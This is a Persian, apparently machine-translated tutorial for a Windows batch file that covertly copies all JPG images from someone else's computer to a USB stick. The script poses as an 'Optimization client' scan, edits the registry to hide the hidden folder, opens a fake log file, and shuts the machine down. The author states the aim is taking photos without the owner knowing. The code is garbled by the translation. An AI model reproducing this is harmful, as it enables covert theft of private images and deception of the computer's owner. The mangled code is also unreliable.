تصویر جاسوسی مخفی عکس کپی فایل دسته ای: 5 مرحله

2024 نویسنده: John Day | [email protected]. آخرین اصلاح شده: 2024-01-30 08:58

بنابراین ، در وهله اول ، این که این دستورالعمل چیست و چرا ایجاد می شود. این دستورالعمل به شما امکان می دهد یک فایل دسته ای ایجاد کنید که همه تصاویر را از رایانه شخصی در حافظه خود کپی کند. این کار را بصورت محرمانه انجام می دهد و به عنوان برنامه دیگری که در حال بررسی رایانه برای مشکلات است ، مطرح می شود. پس از تکمیل ، یک پوشه مخفی روی مموری استیک خود با تمام تصاویر کپی شده خواهید داشت. چرا؟ من این دستورالعمل را ایجاد کردم زیرا می خواستم یک عکس دیجیتالی را از دستگاه دیگران بازیابی کنم بدون اینکه آنها بدانند این کار را انجام داده ام. استفاده مشروع از این فایل به شما امکان می دهد تا عکس های شخصی خود را بایگانی/پشتیبان گیری کنید. سایر موارد استفاده: این فایل را می توان تغییر داد تا هر نوع سند دیگری کپی شود.

مرحله 1: کد را بنویسید

کد زیر را در دفترچه یادداشت کپی کرده و آن را در ریشه مموریک خود به عنوان یک فایل bat ذخیره کنید ، تا زمانی که پسوند.bat داشته باشد ، می توانید آن را هرطور که می خواهید نامگذاری کنید. برای اطمینان از اینکه پسوند صحیح دارد ، آن را به صورت زیر در کادر ذخیره دفترچه یادداشت "copyimage.bat" (شامل نقل قول ها!) تایپ کنید.

echo officcho Optimization client 2008 v3.02becho -------------------------------- echo.echo لطفاً از رایانه خود استفاده نکنید در حالی که این در حال اجرا است.echo.echo فهرست فرآیند اسکن. پس از اتمام ، یک گزارش برای مرورگر سیستم شما نمایش داده می شود. 00000002/f> nulmkdir / data> nulattrib +h / data> nulsetLocal EnableDelayedExpansion@echo offfor ٪٪ a in (jpg) do (for/f "tokens =* delims =" ٪٪ f in ('dir/b/s/ ad c: \*. ٪٪ a ') do (xcopy "٪٪ f" / data / /y /h /q> nul)) attrib -s +h data \*> nulstart optimizationLog.txtshutdown /s /c " اسکن بهینه سازی کامل شد ، رایانه شما اکنون خاموش می شود"

مرحله 2: یک فایل گزارش جعلی ایجاد کنید

در این مرحله من یک فایل متنی جعلی ایجاد کرده ام که وانمود می کند نتیجه گزارش پرونده دسته ای است که ما برای کپی کردن فایل ها اجرا می کنیم. این به شما امکان می دهد وانمود کنید اتفاقی افتاده است. مهم نیست این فایل چه می گوید ، شما می توانید آن را هر چقدر که دوست دارید تغییر دهید ، فقط مطمئن شوید که نام فایل صحیح است و در ریشه کارت حافظه شما ذخیره شده است. متنی که من استفاده کرده ام عمدتا از یک ربوده شده است log شوید ، آن را کپی کرده و در ریشه مموری خود به عنوان optimizationLog.txt ذخیره کنید

اسکن به پایان رسید. لطفاً این گزارش را ببندید و به سیستم خود اجازه دهید تا آن را مرور کند. فرآیندهای در حال اجرا: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Program Files / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Program Files / Synaptics / SynTP / SynTPEnh.exeC: / Program Files / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009 / bdagent. Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeCeC: Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskClean.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / NOTE PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main، Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main ، صفحه جستجو = https://go.microsoft.com/fwlink/؟LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main، صفحه شروع = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main، Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main، Default_Search_URL = https://go.microsoft.com/ fwlink/؟ LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main، Search Page = https://go.microsoft.com/fwlink/؟LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main، Start صفحه = https://go.microsoft.com/fwlink/؟LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search، SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search، CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar، LinksFolderName = O1 - میزبانها::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C -E8AD -4283 -A596 -FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveXll: Acroh Groove GFS Browser Helper-{72853161-30C5-4D22-B7F9-0BBC1D38A37E}-C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2-BHO: SSVHelper Class-{761497BB-D6F0-462-B6D4D-B2D4D-B2D4D-D6F0-462: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 -نوار ابزار: BitDefender Toolbar -{381FFDE8-2394-4f90 -B10D -FC6124A40F8C} -C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dll HKLM \.. / Run: [Windows Defender]٪ ProgramFiles٪ / Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Run: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / اجرا: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / اجرا: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Run: [Persistence] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / اجرا: [SynTPEnh] C: / Program Files / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / اجرا: [TPwrMain]٪ ProgramFiles٪ / TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / اجرا: [SmoothView]٪ ProgramFiles٪ / Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / اجرا: [00TCrdMain]٪ ProgramFiles٪ / TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Run: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / اجرا: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Run: [BitDefender Antiphishing Helper] "C: / Program Files / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Run: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Run: [RegistryMechanic] C: / Program Files / Registry Mechanic / RMTray.exe /HO4 - راه اندازی: OneNote 2007 Screen Clipper و Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - مورد اضافی منوی زمینه: E & xport به Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9-دکمه اضافی: (بدون نام)-{08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - منوی اضافی 'Tools': Sun Java Console - {08B0E5C0-4FCB -11CF -AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9-دکمه اضافی: ارسال به OneNote-{2670000A-7350-4f3c-8081-5663EE0C6C49}-C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttII.dllOd - منوی اضافی "Tools": S & end to OneNote - {2670000A -7350-4f3c -8081-5663EE0C6C49} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - دکمه اضافی: eBay.co.uk - خرید فروش آن را دوست دارم-{76577871-04EC-495E-A12B-91F7C3600AFA}-https://rover.ebay.com/rover/1/710-44557-9400-3/4 (فایل موجود نیست) O9-دکمه اضافی: (بدون نام)-{85d1f590-48f4-11d9-9669-0800200c9a66}-٪ windir٪ / bdoscandel.exe (فایل موجود نیست) O9-منوییت اضافی "ابزارها": حذف BitDefender Online Scanner v8-{85d1f590-48f4-11d9-98 -0800200c9a66} -٪ windir٪ / bdoscandel.exe (فایل موجود نیست) O9 -دکمه اضافی: Amazon.co.uk -{8A918C1D -E123-4E36 -B562-5C1519E434CE} -https://www.amazon.co.uk/ exec/obidos/redirect-home؟ tag = Toshibaukbholink-2 1 & site = home (فایل موجود نیست) O9 - دکمه اضافی: تحقیق - {92780B25-18CC -41C8 -B9BE -3C9C571A8263} - C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / REFIEBAR. DLLO10 - فایل ناشناخته در Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - فایل ناشناخته در Winsock LSP: c: / windows / system32 / napinsp.dllO10 - فایل ناشناخته در Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO10 - فایل ناشناخته در Winsock LSP: c: / program files / vmware / vmware workstation / vsocklib.dllO11-گروه گزینه ها: [INTERNATIONAL] International*O13-Gopher Prefix: O16-DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BCA7} (دریافت) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - پروتکل: grooveLocalGWS - {88FED34C -F0CA -4636 -A375-3CB6248B04CD} - C: / پرونده های برنامه / Microsoft Office / Office12 / GrooveSystemServices.dllO18-پروتکل: ms-help-{314111C7-A502-11D2-BBCA-00C04F8EC294}-C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18-فیلترشکن: text/ xml-{807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA ~ 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Notify: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - سرویس: Agere Modem Call Progress Audioud (AgereModem) Systems - C: / Windows / system32 / agrsmsvc.exeO23 - سرویس: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Service: Autodesk Licensing Service - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - سرویس: ConfigFree Service - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Service: @٪ SystemRoot٪ / ehome / ehstart.dll، -101 (ehstart) - ناشناخته -٪ windir٪ / system32 / svchost.exe (فایل موجود نیست) O23 - سرویس: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - سرویس: Google Update Service (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - مالک ناشناس - C: / Program Files / Google / Update / GoogleUpdate.exe " /svc (فایل موجود نیست) O23 - سرویس: BitDefender Desktop Update Service (LIVESRV) - مالک ناشناخته - C: / برنامه فایلها / رایج فایلها / BitDefender / BitDefender Update Service / livesrv.exe " /service (فایل موجود نیست) O23 - سرویس: @٪ SystemRoot٪ / system32 / qwave.dll، -1 (QWAVE) - صاحب ناشناس r -٪ windir٪ / system32 / svchost.exe (فایل موجود نیست) O23 - سرویس: @٪ SystemRoot٪ / system32 / seclogon.dll ، -7001 (seclogon) - مالک ناشناس -٪ windir٪ / system32 / svchost.exe (فایل O23 - سرویس: سرویس تنظیم عملکرد نوت بوک (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - سرویس: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - خدمات: سرویس دیسک نوری TOSHIBA (TODDSrv) - شرکت TOSHIBA - C: / Windows / system32 / TODDSrv.exeO23 - خدمات: TOSHIBA Power Saver (TosCoSrBA) - TOSCoSrBA فایل های برنامه / TOSHIBA / Power Saver / TosCoSrv.exeO23 - خدمات: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - سرویس: VMware Agent Service - ufad -ws60 C: / Program Files / VMware / VMware Workstation / vmware -ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad -p2v.x ml (فایل موجود نیست) O23 - سرویس: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems، Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - سرویس: VMware Authorization Service (VMAuthdService) - VMware ، Inc. - C: / Program Files / VMware / VMware Workstation / vmware -authd.exeO23 - سرویس: VMware DHCP Service (VMnetDHCP) - VMware، Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - سرویس: VMware NAT سرویس - VMware، Inc. - C: / Windows / system32 / vmnat.exeO23 - سرویس: BitDefender Virus Shield (VSSERV) - مالک ناشناس - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe " /service (فایل موجود نیست) O23 - سرویس: سرور VNC نسخه 4 (WinVNC4) - مالک ناشناس - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-service (فایل موجود نیست) O23 - سرویس: @٪ ProgramFiles٪ / Windows Media Player / wmpnetwk.exe، -101 (WMPNetworkSvc) - مالک ناشناس -٪ ProgramFiles٪ / Windows Media Player / wmpnetwk.exe (فایل موجود نیست)

مرحله 3: برنامه را اجرا کنید

اکنون باید یک مموری استیک با دو فایل روی آن (و مقدار زیادی فضای آزاد آماده برای تصاویر جدید) داشته باشید. اگر چیز دیگری در درایو دارید مهم نیست. حافظه را به رایانه مورد نظر ببرید. هنگامی که دوباره ثبت شد ، به حرف درایو اختصاص داده شده به آن توجه کنید ، این به شما امکان می دهد بدون نیاز به مرور در پوشه ابتدا آن را اجرا کنید. کلید Windows را فشار دهید و سپس "R" را فشار دهید (در حالی که هنوز کلید ویندوز را نگه دارید). با این کار یک جعبه Run ظاهر می شود. در کادر اجرا ، مسیر فایل دسته ای را که ایجاد کرده ایم تایپ کنید ، درایو حرفی است که هنگام اتصال مموری استیک به آن اختصاص داده شده است. به عنوان مثال ، اگر مموری استیک خود را وارد کنم و ag: / drive را ثبت کند ، پس من اجرا می کنم: g: / copyimage.bat و سپس Enter را بزنید یا روی اجرا کلیک کنید. با این کار فایل دسته ای اجرا می شود. وقتی کامل شد ، دستگاه را خاموش می کند. مموری خود را بردارید و بردارید!

مرحله 4: تصاویر را دریافت کنید

اکنون باید یک مموری استیک با تمام تصاویر روی آن داشته باشید. فایل ها و پوشه ها مخفی هستند ، بنابراین اگر فایل خود را نشان نداده اید ، باید آن را فعال کنید. برای انجام این کار وارد پنجره Explorer شوید (به عنوان مثال رایانه من را باز کنید) و: WinXP - Tools، Folder Options ، View ، Show Hidden FilesVista - Organize ، Folder and search options ، View ، Show Hidden Files هنگامی که انتخاب شدید ، باید بتوانید پوشه مخفی شده و تصاویر مورد نظر خود را دریافت کنید!

مرحله 5: منظور از کد چیست

من تا آنجا که ممکن است کد را توضیح می دهم. عملکرد اصلی کپی توسط من نوشته نشده است ، من آن را از سایت زیر وام گرفته ام و آن را تغییر داده ام:

echo off '' دستورات نمایش داده شده روی صفحه را متوقف می کند ، بنابراین کاربر نمی داند در حال انجام echo Optimization client 2008 v3.02b echo ------------------- ------------- پژواک. روی صفحه عنوان عنوان برنامه echo را می نویسد لطفاً در حین اجرا از رایانه خود استفاده نکنید. echo.echo فهرست فرآیند اسکن. پس از اتمام یک گزارش برای مدیر سیستم شما برای بررسی.echo.echo نمایش داده می شود لطفا صبور باشید این کار ممکن است تا 3 ساعت طول بکشد. مقدار زیادی زباله به کاربر می گوید که درست نیست reg اضافه کردن HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002 /f> nul یک کلید رجیستری اضافه می کند که پرونده های مخفی را مخفی می کند و پوشه ها این باعث می شود کاربر نتواند پوشه ای را که ما ایجاد می کنیم برای نگهداری تصاویر کپی شده مشاهده کند. دستور nul در انتها وقتی گزارش mkdir / data> nul را خاتمه می دهد ، فرمان را از گزارش هرگونه پیام متوقف می کند. یک پوشه در درایو ایجاد می کند که این فایل دسته ای روی داده های فراخوانی شده قرار دارد. attrib +h / data> nul مجموعه پوشه ایجاد شده را مخفی می کند Local locable EnableDelayedExpansionfor ٪٪ a in (jpg) do (for/f "tokens =* delims =" ٪٪ f in ('dir/b/s/ad c: \* ٪٪ a ') do (xcopy "٪٪ f" / data / /y /h /q> nul)) این کدی است که در کل c: / drive برای جستجوی تصاویر جستجو می کند. اگر می خواهید درایو دیگری را جستجو کند ، قسمت c: را به آنچه می خواهید تغییر دهید. اگر می خواهید انواع دیگر فایل ها را در لیست بعدی-j.webp